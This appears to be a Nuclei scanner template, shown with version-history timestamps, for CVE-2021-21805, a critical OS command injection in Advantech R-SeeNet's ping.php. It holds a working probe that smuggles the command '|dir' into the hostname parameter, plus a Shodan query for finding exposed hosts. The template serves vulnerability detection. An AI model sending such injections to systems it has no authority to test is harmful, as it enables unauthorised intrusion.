2022-08-05 05:57:31 +00:00
id : CVE-2021-21805
info :
2022-10-10 19:22:59 +00:00
name : Advantech R-SeeNet 2.4.12 - OS Command Injection
2022-08-05 05:57:31 +00:00
author : arafatansari
2022-08-05 23:55:06 +00:00
severity : critical
2022-08-05 05:57:31 +00:00
description : |
2022-10-10 19:22:59 +00:00
Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
2022-08-05 05:57:31 +00:00
reference :
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
2022-08-05 06:25:08 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
- https://nvd.nist.gov/vuln/detail/CVE-2021-21805
2022-08-06 07:03:14 +00:00
classification :
2022-10-10 19:40:25 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-08-06 07:03:14 +00:00
cve-id : CVE-2021-21805
2022-10-10 19:40:25 +00:00
cwe-id : CWE-78
2023-10-14 11:27:55 +00:00
epss-score : 0.97345
2023-11-27 09:19:41 +00:00
epss-percentile : 0.99872
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
2022-08-05 05:57:31 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : advantech
product : r-seenet
2023-09-06 12:09:01 +00:00
shodan-query : http.html:"R-SeeNet"
2022-08-05 23:55:06 +00:00
tags : cve,cve2021,rce,r-seenet
2022-08-05 05:57:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-05 05:57:31 +00:00
- method : GET
path :
- "{{BaseURL}}/php/ping.php?hostname=|dir"
2022-08-05 06:05:04 +00:00
2022-08-05 05:57:31 +00:00
matchers-condition : and
matchers :
- type : word
2022-08-05 23:55:06 +00:00
part : body
2022-08-05 05:57:31 +00:00
words :
2022-08-05 06:25:08 +00:00
- "<title>Ping |dir</title>"
2022-08-05 23:55:06 +00:00
- "bottom.php"
condition : and
2022-08-05 05:57:31 +00:00
- type : word
2022-08-05 23:55:06 +00:00
part : header
2022-08-05 05:57:31 +00:00
words :
2022-08-05 06:25:08 +00:00
- "text/html"
2022-08-05 05:57:31 +00:00
- type : status
status :
- 200
2023-11-23 07:42:52 +00:00
# digest: 490a004630440220719e7726aa86e292d034e95b010b6de7c284eee6b4de57617c25d0f27b1617b10220066bdcfbb873af457b67659e97003034fe914c13939f3d0b9bfdff15c9f9dfdd:922c64590222798bb761d5b6d8e72950